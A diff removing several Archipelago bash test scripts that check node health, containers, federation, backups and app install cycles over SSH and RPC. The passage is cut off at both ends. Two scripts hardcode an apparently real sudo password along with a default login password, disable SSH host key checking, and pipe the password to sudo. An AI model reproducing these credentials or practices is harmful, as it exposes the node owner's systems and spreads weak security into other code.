||||
result="FAIL"
|
||||
fi
|
||||
|
||||
if [ "$result" = "PASS" ]; then
|
||||
log "[$app_id] PASSED"
|
||||
PASS=$((PASS + 1))
|
||||
RESULTS+=("PASS $app_id")
|
||||
else
|
||||
FAIL=$((FAIL + 1))
|
||||
RESULTS+=("FAIL $app_id")
|
||||
fi
|
||||
}
|
||||
|
||||
# Main
|
||||
echo ""
|
||||
echo "============================================"
|
||||
echo " Archipelago App Integration Test Suite"
|
||||
echo "============================================"
|
||||
echo ""
|
||||
|
||||
# Check backend health
|
||||
if ! curl -sf "$HEALTH_URL" > /dev/null 2>&1; then
|
||||
fail "Backend not healthy at $HEALTH_URL"
|
||||
exit 1
|
||||
fi
|
||||
log "Backend is healthy"
|
||||
|
||||
authenticate
|
||||
|
||||
# Test each app
|
||||
for app_id in "${!APP_IMAGES[@]}"; do
|
||||
test_app "$app_id" "${APP_IMAGES[$app_id]}"
|
||||
done
|
||||
|
||||
# Cleanup
|
||||
rm -f "$COOKIE_FILE"
|
||||
|
||||
# Summary
|
||||
echo ""
|
||||
echo "============================================"
|
||||
echo " Test Results"
|
||||
echo "============================================"
|
||||
for r in "${RESULTS[@]}"; do
|
||||
case "$r" in
|
||||
PASS*) echo -e " ${GREEN}$r${NC}" ;;
|
||||
FAIL*) echo -e " ${RED}$r${NC}" ;;
|
||||
SKIP*) echo -e " ${YELLOW}$r${NC}" ;;
|
||||
esac
|
||||
done
|
||||
echo ""
|
||||
echo " Passed: $PASS Failed: $FAIL Skipped: $SKIP"
|
||||
echo "============================================"
|
||||
|
||||
if [ "$FAIL" -gt 0 ]; then
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,197 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# test-all-features.sh — Comprehensive single-node feature validation
|
||||
#
|
||||
# Usage: ./scripts/test-all-features.sh [TARGET_IP] [--iterations N]
|
||||
#
|
||||
# Runs all feature checks on a single node:
|
||||
# - System health (CPU, RAM, disk, services)
|
||||
# - Container lifecycle (running, count, health monitor)
|
||||
# - Federation (peers, trust, sync)
|
||||
# - Tor (hidden service reachable)
|
||||
# - DWN (status, write, query)
|
||||
# - NIP-07 (provider injection)
|
||||
# - Backup (create, list, verify, delete)
|
||||
# - Identity (DID, credentials)
|
||||
# - Monitoring (metrics endpoint)
|
||||
#
|
||||
# Exit 0 = all checks passed = production ready
|
||||
# Output: TAP format
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
TARGET="${1:-192.168.1.228}"
|
||||
ITERATIONS=10
|
||||
SSH_KEY="${HOME}/.ssh/archipelago-deploy"
|
||||
SSH_OPTS="-i ${SSH_KEY} -o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||
SUDO_PASS="EwPDR8q45l0Upx@"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
TEST_NUM=0
|
||||
|
||||
# Parse args
|
||||
shift || true
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--iterations) ITERATIONS="$2"; shift 2 ;;
|
||||
*) echo "Unknown arg: $1"; exit 1 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
tap_ok() { TEST_NUM=$((TEST_NUM+1)); PASS=$((PASS+1)); echo "ok ${TEST_NUM} - $1"; }
|
||||
tap_fail() { TEST_NUM=$((TEST_NUM+1)); FAIL=$((FAIL+1)); echo "not ok ${TEST_NUM} - $1"; echo "# $2"; }
|
||||
|
||||
ssh_cmd() { ssh ${SSH_OPTS} "archipelago@${TARGET}" "$@" 2>/dev/null; }
|
||||
ssh_sudo() { ssh ${SSH_OPTS} "archipelago@${TARGET}" "echo '${SUDO_PASS}' | sudo -S $*" 2>/dev/null; }
|
||||
|
||||
get_session() {
|
||||
curl -s -D- -o/dev/null -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}' \
|
||||
"http://${TARGET}:5678/rpc/v1" 2>/dev/null | grep -i "set-cookie" | tr '\r' '\n'
|
||||
}
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-\{\}}"
|
||||
local session="$3"
|
||||
local csrf="$4"
|
||||
local timeout="${5:-30}"
|
||||
local body
|
||||
if [[ "$params" == "{}" || "$params" == "\{\}" ]]; then
|
||||
body="{\"method\":\"${method}\"}"
|
||||
else
|
||||
body="{\"method\":\"${method}\",\"params\":${params}}"
|
||||
fi
|
||||
curl -s --max-time "$timeout" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session}; csrf_token=${csrf}" \
|
||||
-H "X-CSRF-Token: ${csrf}" \
|
||||
-d "$body" \
|
||||
"http://${TARGET}:5678/rpc/v1" 2>/dev/null
|
||||
}
|
||||
|
||||
echo "TAP version 13"
|
||||
echo "# Archipelago Full Feature Validation"
|
||||
echo "# Target: ${TARGET}"
|
||||
echo "# Iterations: ${ITERATIONS}"
|
||||
echo "# Started: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
echo ""
|
||||
echo "# ── Iteration ${i}/${ITERATIONS} [$(date +%H:%M:%S)] ──"
|
||||
|
||||
# Re-authenticate each iteration to handle backend restarts
|
||||
session_header=$(get_session)
|
||||
SESSION=$(echo "$session_header" | sed -n 's/.*session=\([^;]*\).*/\1/p' | head -1 | tr -d '[:space:]')
|
||||
CSRF=$(echo "$session_header" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p' | head -1 | tr -d '[:space:]')
|
||||
|
||||
if [[ -z "$SESSION" ]]; then
|
||||
tap_fail "auth-${i}" "Cannot authenticate"
|
||||
continue
|
||||
fi
|
||||
|
||||
# ── System Health ─────────────────────────────────────────────────────
|
||||
health=$(curl -s --max-time 5 "http://${TARGET}/health" 2>/dev/null || echo "fail")
|
||||
if [[ "$health" == "OK" ]]; then tap_ok "health-${i}"; else tap_fail "health-${i}" "$health"; fi
|
||||
|
||||
mem_avail=$(ssh_cmd "awk '/MemAvailable/ {print \$2}' /proc/meminfo" 2>/dev/null | tr -d '[:space:]')
|
||||
if [[ -n "$mem_avail" ]] && [[ "$mem_avail" -gt 524288 ]]; then
|
||||
tap_ok "memory-${i} # ${mem_avail}kB"
|
||||
else
|
||||
tap_fail "memory-${i}" "Available: ${mem_avail:-unknown}kB"
|
||||
fi
|
||||
|
||||
disk=$(ssh_cmd "df / --output=pcent | tail -1" 2>/dev/null | tr -d '[:space:]%')
|
||||
if [[ -n "$disk" ]] && [[ "$disk" -lt 85 ]]; then
|
||||
tap_ok "disk-${i} # ${disk}%"
|
||||
else
|
||||
tap_fail "disk-${i}" "${disk:-unknown}%"
|
||||
fi
|
||||
|
||||
# ── Containers ────────────────────────────────────────────────────────
|
||||
count=$(ssh_sudo "podman ps --format '{{.Names}}' | wc -l" 2>/dev/null | tail -1 | tr -d '[:space:]')
|
||||
if [[ -n "$count" ]] && [[ "$count" -ge 20 ]]; then
|
||||
tap_ok "containers-${i} # ${count}"
|
||||
else
|
||||
tap_fail "containers-${i}" "Only ${count:-0}"
|
||||
fi
|
||||
|
||||
exited=$(ssh_sudo "podman ps -a --format '{{.State}}' | grep -c -i exited" 2>/dev/null || echo "0")
|
||||
exited=$(echo "$exited" | tail -1 | tr -d '[:space:]')
|
||||
if [[ "$exited" == "0" ]]; then
|
||||
tap_ok "no-exited-${i}"
|
||||
else
|
||||
tap_fail "no-exited-${i}" "${exited} exited"
|
||||
fi
|
||||
|
||||
# ── Federation ────────────────────────────────────────────────────────
|
||||
fed_result=$(rpc "federation.list-nodes" "{}" "$SESSION" "$CSRF")
|
||||
peer_count=$(echo "$fed_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d.get('result',{}).get('nodes',[])))" 2>/dev/null || echo "0")
|
||||
if [[ "$peer_count" -ge 1 ]]; then
|
||||
tap_ok "federation-peers-${i} # ${peer_count}"
|
||||
else
|
||||
tap_fail "federation-peers-${i}" "No peers"
|
||||
fi
|
||||
|
||||
# ── DWN ───────────────────────────────────────────────────────────────
|
||||
dwn_result=$(rpc "dwn.status" "{}" "$SESSION" "$CSRF")
|
||||
dwn_running=$(echo "$dwn_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print('yes' if d.get('result',{}).get('running') else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$dwn_running" == "yes" ]]; then
|
||||
tap_ok "dwn-running-${i}"
|
||||
else
|
||||
tap_fail "dwn-running-${i}" "DWN not running"
|
||||
fi
|
||||
|
||||
# ── Identity ──────────────────────────────────────────────────────────
|
||||
did_result=$(rpc "node.did" "{}" "$SESSION" "$CSRF")
|
||||
did=$(echo "$did_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('result',{}).get('did',''))" 2>/dev/null || echo "")
|
||||
if [[ "$did" == did:* ]]; then
|
||||
tap_ok "identity-did-${i} # ${did:0:20}..."
|
||||
else
|
||||
tap_fail "identity-did-${i}" "No DID: ${did}"
|
||||
fi
|
||||
|
||||
# ── NIP-07 ────────────────────────────────────────────────────────────
|
||||
provider=$(curl -s --connect-timeout 5 "http://${TARGET}/app/mempool/" 2>/dev/null | grep -c "nostr-provider" 2>/dev/null || true)
|
||||
provider=$(echo "$provider" | tr -d '[:space:]')
|
||||
[[ -z "$provider" ]] && provider=0
|
||||
if [[ "$provider" -gt 0 ]]; then
|
||||
tap_ok "nip07-provider-${i}"
|
||||
else
|
||||
tap_fail "nip07-provider-${i}" "nostr-provider.js not found"
|
||||
fi
|
||||
|
||||
# ── Backup (only first iteration to avoid rate limits) ────────────────
|
||||
if [[ "$i" -eq 1 ]]; then
|
||||
bk_pass="test-allfeatures-$(date +%s)"
|
||||
bk_result=$(rpc "backup.create" "{\"passphrase\":\"${bk_pass}\",\"description\":\"allfeatures-test\"}" "$SESSION" "$CSRF" 60)
|
||||
bk_id=$(echo "$bk_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('result',{}).get('id',''))" 2>/dev/null || echo "")
|
||||
if [[ -n "$bk_id" && "$bk_id" != "None" ]]; then
|
||||
tap_ok "backup-create # ${bk_id:0:8}"
|
||||
# Verify
|
||||
vr=$(rpc "backup.verify" "{\"id\":\"${bk_id}\",\"passphrase\":\"${bk_pass}\"}" "$SESSION" "$CSRF" 60)
|
||||
valid=$(echo "$vr" | python3 -c "import sys,json; d=json.load(sys.stdin); print('yes' if d.get('result',{}).get('valid') else 'no')" 2>/dev/null || echo "no")
|
||||
if [[ "$valid" == "yes" ]]; then tap_ok "backup-verify"; else tap_fail "backup-verify" "$vr"; fi
|
||||
# Delete
|
||||
rpc "backup.delete" "{\"id\":\"${bk_id}\"}" "$SESSION" "$CSRF" 10 >/dev/null 2>&1
|
||||
tap_ok "backup-delete"
|
||||
else
|
||||
tap_fail "backup-create" "${bk_result:0:100}"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
TOTAL=$((PASS + FAIL))
|
||||
echo "1..${TOTAL}"
|
||||
echo ""
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
echo "# Results: ${PASS} passed, ${FAIL} failed, ${TOTAL} total"
|
||||
echo "# Finished: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
|
||||
if [[ "$FAIL" -gt 0 ]]; then
|
||||
exit 1
|
||||
fi
|
||||
exit 0
|
||||
@@ -1,237 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# TEST-201: Automated install/uninstall test for marketplace apps.
|
||||
# Runs on the dev server via SSH, testing each app:
|
||||
# 1. Install via package.install RPC
|
||||
# 2. Wait for container to start
|
||||
# 3. Verify health check / port responds
|
||||
# 4. Uninstall via package.uninstall RPC
|
||||
# 5. Verify container is removed
|
||||
#
|
||||
# Usage: ./scripts/test-app-install.sh [app-id]
|
||||
# Without args: tests all apps
|
||||
# With arg: tests only that app
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
TARGET="archipelago@192.168.1.228"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no $TARGET"
|
||||
PASSWORD="password123"
|
||||
|
||||
# All marketplace apps and their expected ports
|
||||
declare -A APP_PORTS=(
|
||||
[bitcoin-knots]="8332"
|
||||
[electrs]="50001"
|
||||
[btcpay-server]="23000"
|
||||
[lnd]="8080"
|
||||
[mempool]="18080"
|
||||
[homeassistant]="8123"
|
||||
[grafana]="3033"
|
||||
[searxng]="18888"
|
||||
[ollama]="11434"
|
||||
[onlyoffice]="8044"
|
||||
[penpot]="9001"
|
||||
[nextcloud]="8085"
|
||||
[vaultwarden]="8099"
|
||||
[jellyfin]="8096"
|
||||
[photoprism]="2342"
|
||||
[immich]="2283"
|
||||
[filebrowser]="18082"
|
||||
[nginx-proxy-manager]="8181"
|
||||
[portainer]="9443"
|
||||
[uptime-kuma]="3001"
|
||||
[tailscale]="0"
|
||||
[fedimint]="8174"
|
||||
[indeedhub]="18081"
|
||||
[dwn]="3000"
|
||||
[nostr-rs-relay]="18081"
|
||||
)
|
||||
|
||||
# Apps that take a long time or have heavy dependencies — skip in quick mode
|
||||
HEAVY_APPS="bitcoin-knots electrs btcpay-server immich nextcloud homeassistant"
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
SKIP=0
|
||||
RESULTS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[TEST]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
skip() { echo -e "\033[1;33m[SKIP]\033[0m $*"; SKIP=$((SKIP + 1)); RESULTS+=("SKIP: $*"); }
|
||||
|
||||
# Authenticate and get session cookie
|
||||
get_session() {
|
||||
local cookie
|
||||
cookie=$($SSH_CMD "curl -s -c - http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-d '{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}' 2>/dev/null \
|
||||
| grep session | awk '{print \$NF}'")
|
||||
echo "$cookie"
|
||||
}
|
||||
|
||||
# Make an authenticated RPC call
|
||||
rpc_call() {
|
||||
local session="$1"
|
||||
local method="$2"
|
||||
local params="${3:-{}}"
|
||||
$SSH_CMD "curl -s http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-H 'Cookie: session=$session' \
|
||||
-d '{\"method\":\"$method\",\"params\":$params}' 2>/dev/null"
|
||||
}
|
||||
|
||||
# Check if a container exists
|
||||
container_exists() {
|
||||
local session="$1"
|
||||
local app_id="$2"
|
||||
local result
|
||||
result=$(rpc_call "$session" "container-list")
|
||||
echo "$result" | grep -q "\"$app_id\"" && return 0 || return 1
|
||||
}
|
||||
|
||||
# Wait for container to appear (up to 60s)
|
||||
wait_for_container() {
|
||||
local session="$1"
|
||||
local app_id="$2"
|
||||
local max_wait=60
|
||||
local waited=0
|
||||
while [ $waited -lt $max_wait ]; do
|
||||
if container_exists "$session" "$app_id"; then
|
||||
return 0
|
||||
fi
|
||||
sleep 5
|
||||
waited=$((waited + 5))
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# Check if port responds
|
||||
check_port() {
|
||||
local port="$1"
|
||||
if [ "$port" = "0" ]; then
|
||||
return 0 # No port to check (e.g., tailscale)
|
||||
fi
|
||||
$SSH_CMD "curl -s -o /dev/null -w '%{http_code}' --connect-timeout 5 http://localhost:$port/ 2>/dev/null" | grep -qE '(200|301|302|401|403|404)' && return 0 || return 1
|
||||
}
|
||||
|
||||
test_app() {
|
||||
local app_id="$1"
|
||||
local session="$2"
|
||||
local port="${APP_PORTS[$app_id]:-0}"
|
||||
|
||||
log "Testing $app_id (port: $port)"
|
||||
|
||||
# Skip if container already exists (don't disturb running services)
|
||||
if container_exists "$session" "$app_id"; then
|
||||
skip "$app_id — already running, skipping to avoid disruption"
|
||||
return
|
||||
fi
|
||||
|
||||
# 1. Install
|
||||
log " Installing $app_id..."
|
||||
local install_result
|
||||
install_result=$(rpc_call "$session" "package.install" "{\"id\":\"$app_id\"}")
|
||||
|
||||
if echo "$install_result" | grep -q '"error"'; then
|
||||
local err_msg
|
||||
err_msg=$(echo "$install_result" | grep -o '"message":"[^"]*"' | head -1)
|
||||
# Dependency errors are expected for some apps
|
||||
if echo "$err_msg" | grep -qi "dependency\|requires\|must be"; then
|
||||
skip "$app_id — dependency not met: $err_msg"
|
||||
return
|
||||
fi
|
||||
fail "$app_id — install failed: $err_msg"
|
||||
return
|
||||
fi
|
||||
|
||||
# 2. Wait for container
|
||||
log " Waiting for container..."
|
||||
if ! wait_for_container "$session" "$app_id"; then
|
||||
fail "$app_id — container did not appear within 60s"
|
||||
# Try to clean up
|
||||
rpc_call "$session" "package.uninstall" "{\"id\":\"$app_id\"}" > /dev/null 2>&1
|
||||
return
|
||||
fi
|
||||
|
||||
# 3. Check port (give it a moment to start)
|
||||
if [ "$port" != "0" ]; then
|
||||
sleep 3
|
||||
log " Checking port $port..."
|
||||
if check_port "$port"; then
|
||||
log " Port $port responds"
|
||||
else
|
||||
log " Port $port not responding yet (may need more time)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# 4. Uninstall
|
||||
log " Uninstalling $app_id..."
|
||||
local uninstall_result
|
||||
uninstall_result=$(rpc_call "$session" "package.uninstall" "{\"id\":\"$app_id\"}")
|
||||
|
||||
if echo "$uninstall_result" | grep -q '"error"'; then
|
||||
fail "$app_id — uninstall failed"
|
||||
return
|
||||
fi
|
||||
|
||||
# 5. Verify container removed
|
||||
sleep 3
|
||||
if container_exists "$session" "$app_id"; then
|
||||
fail "$app_id — container still exists after uninstall"
|
||||
return
|
||||
fi
|
||||
|
||||
pass "$app_id — install/uninstall cycle complete"
|
||||
}
|
||||
|
||||
main() {
|
||||
log "=== Archipelago App Install/Uninstall Test ==="
|
||||
log "Target: $TARGET"
|
||||
log ""
|
||||
|
||||
# Get session
|
||||
log "Authenticating..."
|
||||
local session
|
||||
session=$(get_session)
|
||||
if [ -z "$session" ]; then
|
||||
echo "Failed to authenticate. Exiting."
|
||||
exit 1
|
||||
fi
|
||||
log "Session: ${session:0:8}..."
|
||||
echo ""
|
||||
|
||||
# Determine which apps to test
|
||||
local apps_to_test=()
|
||||
if [ $# -gt 0 ]; then
|
||||
apps_to_test=("$@")
|
||||
else
|
||||
for app in "${!APP_PORTS[@]}"; do
|
||||
apps_to_test+=("$app")
|
||||
done
|
||||
# Sort for consistent ordering
|
||||
IFS=$'\n' apps_to_test=($(sort <<<"${apps_to_test[*]}")); unset IFS
|
||||
fi
|
||||
|
||||
log "Testing ${#apps_to_test[@]} apps"
|
||||
echo ""
|
||||
|
||||
for app_id in "${apps_to_test[@]}"; do
|
||||
test_app "$app_id" "$session"
|
||||
echo ""
|
||||
done
|
||||
|
||||
# Summary
|
||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]}"; do
|
||||
echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL | Skip: $SKIP | Total: $((PASS + FAIL + SKIP))"
|
||||
|
||||
if [ $FAIL -gt 0 ]; then
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,25 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Test if the new backend binary has the bundled-app methods
|
||||
|
||||
TARGET_HOST="${ARCHIPELAGO_TARGET:-archipelago@192.168.1.228}"
|
||||
|
||||
echo "Testing backend RPC methods..."
|
||||
echo ""
|
||||
|
||||
echo "1. Test container-list (should work):"
|
||||
ssh "$TARGET_HOST" 'curl -s http://localhost:5678/rpc/v1 -X POST -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"container-list\",\"params\":{}}"'
|
||||
|
||||
echo ""
|
||||
echo ""
|
||||
echo "2. Test bundled-app-start (should not error with 'method not found'):"
|
||||
ssh "$TARGET_HOST" 'curl -s http://localhost:5678/rpc/v1 -X POST -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"bundled-app-start\",\"params\":{\"app_id\":\"test\",\"image\":\"test\",\"ports\":[],\"volumes\":[]}}"'
|
||||
|
||||
echo ""
|
||||
echo ""
|
||||
echo "3. Check deployed frontend JS for bundled apps:"
|
||||
ssh "$TARGET_HOST" "grep -o 'bitcoin-knots\\|bitcoinknots' /opt/archipelago/web-ui/assets/*.js 2>/dev/null | head -3"
|
||||
|
||||
echo ""
|
||||
echo "4. Service Worker file (should exist):"
|
||||
ssh "$TARGET_HOST" "ls -lh /opt/archipelago/web-ui/sw.js"
|
||||
@@ -1,159 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Test a prepackaged container
|
||||
# Usage: ./test-container.sh <app-id> <package-dir>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -lt 2 ]; then
|
||||
echo "Usage: $0 <app-id> <package-dir>"
|
||||
echo ""
|
||||
echo "Example:"
|
||||
echo " $0 k484 ./k484-package"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
APP_ID="$1"
|
||||
PACKAGE_DIR="$2"
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
|
||||
echo "🧪 Testing container: $APP_ID"
|
||||
echo "📦 Package directory: $PACKAGE_DIR"
|
||||
echo ""
|
||||
|
||||
# Check if package directory exists
|
||||
if [ ! -d "$PACKAGE_DIR" ]; then
|
||||
echo "❌ Package directory not found: $PACKAGE_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Determine container runtime
|
||||
RUNTIME="auto"
|
||||
if command -v podman >/dev/null 2>&1 && podman info >/dev/null 2>&1; then
|
||||
RUNTIME="podman"
|
||||
elif command -v docker >/dev/null 2>&1 && docker info >/dev/null 2>&1; then
|
||||
RUNTIME="docker"
|
||||
else
|
||||
echo "❌ No container runtime available!"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "🐳 Using runtime: $RUNTIME"
|
||||
echo ""
|
||||
|
||||
# Check for Dockerfile
|
||||
if [ ! -f "$PACKAGE_DIR/Dockerfile" ]; then
|
||||
echo "❌ Dockerfile not found in $PACKAGE_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Build container image
|
||||
IMAGE_NAME="${APP_ID}:dev"
|
||||
echo "🔨 Building container image: $IMAGE_NAME"
|
||||
$RUNTIME build -t "$IMAGE_NAME" "$PACKAGE_DIR" || {
|
||||
echo "❌ Failed to build container image"
|
||||
exit 1
|
||||
}
|
||||
echo "✅ Image built successfully"
|
||||
echo ""
|
||||
|
||||
# Create test manifest
|
||||
MANIFEST_DIR="$PROJECT_ROOT/apps/$APP_ID"
|
||||
mkdir -p "$MANIFEST_DIR"
|
||||
|
||||
MANIFEST_FILE="$MANIFEST_DIR/manifest.yml"
|
||||
cat > "$MANIFEST_FILE" <<EOF
|
||||
app:
|
||||
id: $APP_ID
|
||||
name: $(echo "$APP_ID" | tr '[:lower:]' '[:upper:]')
|
||||
version: dev
|
||||
description: Development test container for $APP_ID
|
||||
|
||||
container:
|
||||
image: $IMAGE_NAME
|
||||
pull_policy: never # Use local image
|
||||
|
||||
resources:
|
||||
cpu_limit: 1
|
||||
memory_limit: 512Mi
|
||||
|
||||
ports:
|
||||
- host: 8080
|
||||
container: 8080
|
||||
protocol: tcp
|
||||
|
||||
volumes:
|
||||
- type: bind
|
||||
source: /tmp/archipelago-dev/$APP_ID
|
||||
target: /data
|
||||
options: [rw]
|
||||
EOF
|
||||
|
||||
echo "📝 Created test manifest: $MANIFEST_FILE"
|
||||
echo ""
|
||||
|
||||
# Check if backend is running
|
||||
BACKEND_URL="${BACKEND_URL:-http://localhost:5959}"
|
||||
if ! curl -s "$BACKEND_URL/health" >/dev/null 2>&1; then
|
||||
echo "⚠️ Backend not running at $BACKEND_URL"
|
||||
echo " Start backend first:"
|
||||
echo " cd $PROJECT_ROOT/core"
|
||||
echo " ARCHIPELAGO_DEV_MODE=true cargo run --bin archipelago"
|
||||
echo ""
|
||||
echo " Or install via RPC manually:"
|
||||
echo " curl -X POST $BACKEND_URL/rpc/v1 \\"
|
||||
echo " -H 'Content-Type: application/json' \\"
|
||||
echo " -d '{\"method\":\"container-install\",\"params\":{\"manifest_path\":\"$MANIFEST_FILE\"}}'"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Install via RPC
|
||||
echo "📥 Installing container via RPC..."
|
||||
RESPONSE=$(curl -s -X POST "$BACKEND_URL/rpc/v1" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"method\":\"container-install\",\"params\":{\"manifest_path\":\"$MANIFEST_FILE\"}}")
|
||||
|
||||
if echo "$RESPONSE" | grep -q '"error"'; then
|
||||
echo "❌ Installation failed:"
|
||||
echo "$RESPONSE" | jq '.' 2>/dev/null || echo "$RESPONSE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CONTAINER_NAME=$(echo "$RESPONSE" | jq -r '.result' 2>/dev/null || echo "")
|
||||
echo "✅ Container installed: $CONTAINER_NAME"
|
||||
echo ""
|
||||
|
||||
# Start container
|
||||
echo "🚀 Starting container..."
|
||||
curl -s -X POST "$BACKEND_URL/rpc/v1" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"method\":\"container-start\",\"params\":{\"app_id\":\"$APP_ID\"}}" >/dev/null
|
||||
|
||||
sleep 2
|
||||
|
||||
# Check status
|
||||
echo "📊 Container status:"
|
||||
STATUS=$(curl -s -X POST "$BACKEND_URL/rpc/v1" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"method\":\"container-status\",\"params\":{\"app_id\":\"$APP_ID\"}}")
|
||||
|
||||
echo "$STATUS" | jq '.' 2>/dev/null || echo "$STATUS"
|
||||
echo ""
|
||||
|
||||
# Get logs
|
||||
echo "📋 Container logs (last 20 lines):"
|
||||
LOGS=$(curl -s -X POST "$BACKEND_URL/rpc/v1" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"method\":\"container-logs\",\"params\":{\"app_id\":\"$APP_ID\",\"lines\":20}}")
|
||||
|
||||
echo "$LOGS" | jq -r '.[]' 2>/dev/null || echo "$LOGS"
|
||||
echo ""
|
||||
|
||||
echo "✅ Test complete!"
|
||||
echo ""
|
||||
echo "To clean up:"
|
||||
echo " curl -X POST $BACKEND_URL/rpc/v1 \\"
|
||||
echo " -H 'Content-Type: application/json' \\"
|
||||
echo " -d '{\"method\":\"container-remove\",\"params\":{\"app_id\":\"$APP_ID\"}}'"
|
||||
echo " $RUNTIME rmi $IMAGE_NAME"
|
||||
@@ -1,871 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-cross-node.sh — Master cross-node test suite for Archipelago
|
||||
# Runs all acceptance tests from BOTH directions (.228→.198 and .198→.228)
|
||||
# Usage: ./scripts/test-cross-node.sh [--iterations N] [--skip-reboot]
|
||||
#
|
||||
# Output: TAP format (Test Anything Protocol)
|
||||
# Exit 0 only if ALL tests pass ALL iterations from BOTH directions.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# ── Config ──────────────────────────────────────────────────────────────────
|
||||
NODE_A="192.168.1.228"
|
||||
NODE_B="192.168.1.198"
|
||||
SSH_KEY="${HOME}/.ssh/archipelago-deploy"
|
||||
SSH_OPTS="-i ${SSH_KEY} -o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||
ITERATIONS=10
|
||||
SKIP_REBOOT=false
|
||||
SUDO_PASS="EwPDR8q45l0Upx@"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
TEST_NUM=0
|
||||
|
||||
# ── Parse args ──────────────────────────────────────────────────────────────
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--iterations) ITERATIONS="$2"; shift 2 ;;
|
||||
--skip-reboot) SKIP_REBOOT=true; shift ;;
|
||||
*) echo "Unknown arg: $1"; exit 1 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# ── Helpers ─────────────────────────────────────────────────────────────────
|
||||
ssh_cmd() {
|
||||
local host="$1"; shift
|
||||
ssh ${SSH_OPTS} "archipelago@${host}" "$@" 2>/dev/null
|
||||
}
|
||||
|
||||
ssh_sudo() {
|
||||
local host="$1"; shift
|
||||
ssh ${SSH_OPTS} "archipelago@${host}" "echo '${SUDO_PASS}' | sudo -S $*" 2>/dev/null
|
||||
}
|
||||
|
||||
tap_ok() {
|
||||
TEST_NUM=$((TEST_NUM + 1))
|
||||
PASS=$((PASS + 1))
|
||||
echo "ok ${TEST_NUM} - $1"
|
||||
}
|
||||
|
||||
tap_fail() {
|
||||
TEST_NUM=$((TEST_NUM + 1))
|
||||
FAIL=$((FAIL + 1))
|
||||
echo "not ok ${TEST_NUM} - $1"
|
||||
echo "# $2"
|
||||
}
|
||||
|
||||
run_check() {
|
||||
local desc="$1"
|
||||
local result
|
||||
result=$(eval "$2" 2>/dev/null) || true
|
||||
if eval "$3" <<< "$result" >/dev/null 2>&1; then
|
||||
tap_ok "$desc"
|
||||
else
|
||||
tap_fail "$desc" "Got: ${result:-<empty>}"
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Auth helper ─────────────────────────────────────────────────────────────
|
||||
get_session() {
|
||||
local host="$1"
|
||||
